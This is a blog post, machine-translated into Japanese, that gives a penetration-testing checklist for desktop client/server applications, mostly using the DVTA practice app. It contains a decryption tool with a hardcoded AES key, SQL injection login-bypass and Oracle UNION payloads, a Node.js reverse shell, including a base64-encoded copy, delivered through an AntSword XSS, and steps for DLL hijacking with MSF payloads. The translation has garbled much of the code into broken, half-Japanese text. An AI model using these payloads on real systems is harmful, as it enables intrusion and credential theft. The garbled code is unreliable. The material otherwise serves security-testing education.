Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86393284

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00はじめに

このプロジェクトは、主にPCクライアント(CSアーキテクチャ)の浸透テストをターゲットにしており、独自のテストエクスペリエンスとネットワークデータを組み合わせてチェックリストを形成します。ご質問がある場合は、お問い合わせください。さらに、より多くのスキルとケースを提供してください。

0x01概要

PCクライアント、豊富な機能を備えたGUI、C-Sアーキテクチャ。

1049983-20221108104634024-1259424875.jpg

0x02開発言語

C#(.NET)、Java、Delphi、C、C ++ .

0x03プロトコル

TCP、HTTP(S)、TDS .

0x04データベース

Oracle、MSSQL、DB2 .

0x05テストツール

//関連ツールのダウンロード:https://github.com/thelsa/hack-cs-tools

DVTA:PCクライアントシューティングレンジ

IDA Pro:静的分析ツール

ollydbg:動的分析ツール

CFFエクスプローラー:PEファイル分析

PEID:シェルチェックツール

ExeinFope/Studype:PEファイル分析

Wireshark:トラフィックを観察します

TCPView:TCPトラフィックを観察します

エコーミラージュ:TCPトラフィックを傍受できます

BURPSUITE:HTTP(S)パケットキャプチャ

プロキシファイア:グローバルプロキシトラフィック

Procmon:ファイルとレジストリの監視

Regshot:レジストリの変更比較

プロセスハッカー:プロセス分析

regfromApp:レジストリ監視

wsexplorer:年間アライアンスプロセスパケットキャッチツール

文字列:プログラムの文字列を表示します

.net [anti] compilation:

dotpeek

de4dot

dnspy

ilspy

sae

イルダム

ilasm

Javaの逆コンパイル

ジャド

jd-gui

JADX

dex2jar

オンラインバージョン:

Javare.cn

www.javadecompilers.com

Reflexil:アセンブリエディター(ILSPYプラグインとして使用できます)

VCG:自動コード監査ツール

Binscope:Binscope

0x06エージェント設定

ほとんどのクライアントにはプロキシ構成関数がなく、次のようにグローバルプロキシをセットアップする必要があります。

1)IEインターネット設定と接続-LAN設定。

2)プロキシフィア - プロキシサーバー/プロキシフィスルール

//HTTPのトラフィックをBurpsuiteと組み合わせることで、簡単にテストすることができます(プロキシサーバーはプロキシアドレスに設定されます)。

1049983-20221108104634768-958814794.jpg 1049983-20221108104635462-1302757946.jpg 1049983-20221108104636140-1382229849.jpg

0x07テストポイント

0。 情報収集

コンピレーション情報、開発環境/言語、使用法プロトコル、データベース、IP、難読化/暗号化、シェルなど。

ケース0-CFFクライアント情報を表示(コンピレーション環境など)

DVTA

1049983-20221108104636932-933767068.jpg

1。リバースエンジニアリング

逆コンパイル、ソースコードリーク、ハードコーディングキー/パスワード、暗号化され、復号化されたロジック、役割判断ロジック(0-Admin、1-ノルマルーザー)、バックドアなど。

ケース0-暗号化と復号化ロジックを取得し、復号化ツールを書き込むための逆コンパイル

DVTA

1049983-20221108104637715-765430904.jpgこのロジックと1049983-20221108104638416-2062982296.jpgの導入されたtext:ctsvjz0jqghxywbsrcpxpq==で得られた情報

AES KEY:J8GLXC454O5TW2HEF7HAHCXPUFJ9V8K8

IV:FQ20T0GMNXA6G0L4

復号化ツールを書きます

システムの使用。 System.collections.genericを使用しています。 System.comPonentModelを使用しています。 System.Dataを使用しています。

System.drawingを使用しています。

System.linqを使用しています。

System.textを使用しています。

System.threading.tasksを使用しています。

system.windows.formsを使用しています。

System.security.cryptographyを使用します。

名前空間aesdecrypt

{

パブリック部分クラスaesdecrypt :フォーム

{

public aesdecrypt()

{

initializeComponent();

}

private void decrypt(オブジェクト送信者、eventargs e)

{

string key="j8glxc454o5tw2hef7hahcxpufj9v8k8";

文字列iv="fq20t0gmnxa6g0l4";

string encryptedtext="ctsvjz0jqghxywbsrcpxpq==";

byte [] encryptedbytes=convert.frombase64string(encryptedText);

aescryptoserviceprovider aes=new aescryptoserviceprovider();

aes.blocksize=128;

aes.keysize=256;

aes.key=system.text.asciiencoding.ascii.getBytes(key);

aes.iv=system.text.asciiencoding.ascii.getBytes(iv);

aes.padding=paddingmode.pkcs7;

aes.mode=ciphermode.cbc;

icryptotransform crypto=aes.createdecryptor(aes.key、aes.iv);

byte [] decryptedBytes=crypto.transformfinalblock(encryptedbytes、0、encryptedbytes.length);

string decryptedstring=system.text.ascieencoding.ascii.getString(decryptedbytes);

console.writeLine( "\ n");

Console.WriteLine( "############### Decryptデータベースパスワード############# \ n");

console.writeLine( "Decrypted Database password:" + DecryptedString + "\ n");

console.writeLine( "############## DONE ############### \ n");

}

}

}

//https://resources.infosecinstitute.com/damn-vulnerable-client-app-part-5/#articleから発信された復号化コード

ケース1-コードロジックを逆コンパイルして変更して、通常のユーザーが管理者としてログインできるように

DVTA

1-イザドミン

0-ノルマルサー

1を0に変更して、管理者を決定します

1049983-20221108104639124-63071411.jpg 1049983-20221108104639654-178729771.jpg

2。情報漏れ

プレーンテキストに敏感な情報、機密ファイル(インストールディレクトリのxxx.configなど)。

レジストリ:Regshotを使用して、クライアントの実行前後のレジストリの違い(ログインなど)を比較します。

開発およびデバッグログリーク(DVTA.EXE LOG.TXTなど)

プロセスハッカーは、クライアントメモリに単純なテキストに敏感なデータ(アカウントパスワード/キーなど)を表示します。

文字列は、クライアント文字列(IP情報など)を直接表示します。

ソースコード(Github、Giteeなどなど)を表示

ケース0コンフィ分率の機密情報漏れ

DVTA

1049983-20221108104640337-185140653.jpg

ケース1メモリーリークデータベースアカウントパスワード

DVTA

1049983-20221108104641053-86634704.jpg

ケース2-ソースコードには、ハードコーディングされたFTPアカウントパスワードが含まれています

DVTA

1049983-20221108104641808-1344115235.jpgケース3開発およびデバッグログリーク

DVTA

1049983-20221108104642490-566933343.jpg

ケース4-特定のシステムにログインした後、アカウントパスワードをローカルに保存する1049983-20221108104643196-1110193214.jpg //

FTPなどのプロトコルによってプレーンテキストで送信されたアカウントパスワード

SQLステートメントプレーンテキストトランスミッション(コンストラクトインジェクション、過剰柔軟性などの使用など)

ケース0 -Zhengfang Academic Affairs System SQL Statement送信プレーンテキスト、プレーンテキストデータを返します

1049983-20221108104643906-438017818.jpg 1049983-20221108104644569-294447733.jpg

//このケースはウーユから来ています

ケース1-データパケットは、特定のシステムログインでデータベースアカウントパスワードを返します

1049983-20221108104645325-238625889.jpg

3。トランスミッショントラフィック

4。その他の脆弱性

ケース0

1049983-20221108104646023-1455694132.jpg 1049983-20221108104646723-650031357.jpg :01010ログイン機能など。

ケース0

1049983-20221108104647308-1028946722.jpg

ユーザー名列挙

Admin 123456などを試すことができます。

ブルートフォースの亀裂

弱いパスワード

ケース0

1049983-20221108104648098-1704429592.jpgケース1 1049983-20221108104648889-383046263.jpg :010ログインの場合、ユニバーサルパスワード

xxx ’または「x」=’ x

xxx ’または1=1--

入力ボックスで、 '、'、 'などの閉じたエラーを作成します)、%')、100 ---などで注文

データは、ディスプレイビットまたはエラーを使用して注入されます。原則はWebインジェクションと同じであり、異なるデータベースは類似しています。

症例0オラクル注入

'Union Select Null、null、(dualの選択ユーザーを選択)、null、null、(sys.v_ $ hwore where rownum=1からselect banner=1)、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null、null -

1049983-20221108104649612-1122024135.jpgケース1-MSSQL注射

111 ')および(ユーザーを選択)0--

1049983-20221108104650282-856059893.jpg

個人的なクリアテキスト送信

Excelをエクスポートする場合は、1+1を入力して、エクスポート後2かどうかを確認します。

電子、nodewebkitなどの

sqlステートメントが公開されました

ケース0-Chinese Ant Sword XSSからRCE

環境:WIN7+PHPSTUDY(PHP5.6.27-NTS)+PERL+NC+ANTSWORD2.0.5

XSS WebShell:

?php

ヘッダー( 'http/1.1 500 img src=#onerror=alertx');

1049983-20221108104650932-527561671.jpgWindows+node.js:

成功

var net=require( 'net')、sh=require( 'child_process')。exec( 'cmd.exe');

var client=new Net.Socket();

client.connect(6677、 '127.0.0.1'、function(){client.pipe(sh.stdin); sh.stdout.pipe(client);

sh.stderr.pipe(client);});

?php

ヘッダー( 'HTTP/1.1 500 NOT IMG SRC=#ONERROR=' Eval(newバッファー(dmfyig5ldca9ihjlcxvpcmuoim5ldciplcbzaca9ihjlcxvpcmuoimnoawxkx3byb2nlc3miks 5Legvjkcjbwquzxhliik7cnzhcibjbgllbnqgpsbuzxcgbmv0llnvy2tldcgpowpjbgllbnquy29ubmvj dcg2njc3lcaimti3ljaumc4xiiwgznvuy3rpb24okxtjbgllbnqucglwzshzac5zdgrpbik7c2guc3rkb3 v0lnbpcguoy2xpzw50ktskc2guc3rkzxjylnbpcguoy2xpzw50ktt9kts=、base64).toString()) '');

1049983-20221108104651615-404403462.jpg関連するリファレンス

https://www.anquanke.com/post/id/176379

コマンド実行

ケース0-EverNoteWindowsクライアント6.15ローカルファイルの読み取りとリモートコマンドの実行http://BLOG.KNOWNSSEC.COM/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AEB0-WINDOWS-E5%AE%A2%E6%88%B7%E7%ABATAF-ACAF-6-15-%% E6%A6 9c%ac%e5%9c%b0%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96%e5%92%8c%e8%bf%9c%

ケース1-AクラウドPCクライアントコマンド実行マイニングプロセス

https://www.secpulse.com/archives/53852.html

ケース2-Kingsoft WPSメールメールクライアントリモートコマンド実行の脆弱性(MozillaベースのXULプログラム利用のヒント)

https://shuimugan.com/bug/view?bug_no=193117

テストポイントはWebと同じです。

dll hijacks linuxファイル検索注文:

現在のディレクトリパス注文値ディレクトリプログラム検索DLL注文:

//絶対パスは提供されていません

1.アプリケーションがロードされるディレクトリ。

2。現在のディレクトリ。

3。SystemDirectory(C: \ Windows \ System32 \)。

4.16ビットシステムディレクトリ。

5。Windowsディレクトリ。

6。パス変数のディレクトリ。

このプログラムは、攻撃者によって配置された悪意のあるDLLをロードできます。

Procmonを使用して、プログラムによってロードされたDLLを検索し、見つからない名前を観察します。

MSFは悪意のあるDLLを生成し、プログラムの読み込み場所に配置します。プログラムを実行すると、ペイロードをトリガーできます。

ケース0-dllハイジャック

DVTA

1049983-20221108104652298-1657972408.jpg 1049983-20221108104653027-338832542.jpg

SQL注入

テストポイントはWebと同じです。

CSV注入

レジストリキー値、承認サーバーは情報構築を返します。

関連するリファレンス

https://cloud.tencent.com/developer/article/1430899

xss

ケース0 Zhengfang Academic Affairs Systemデータベースの任意の操作

IPを知ることでデータベースを引き継ぐことができます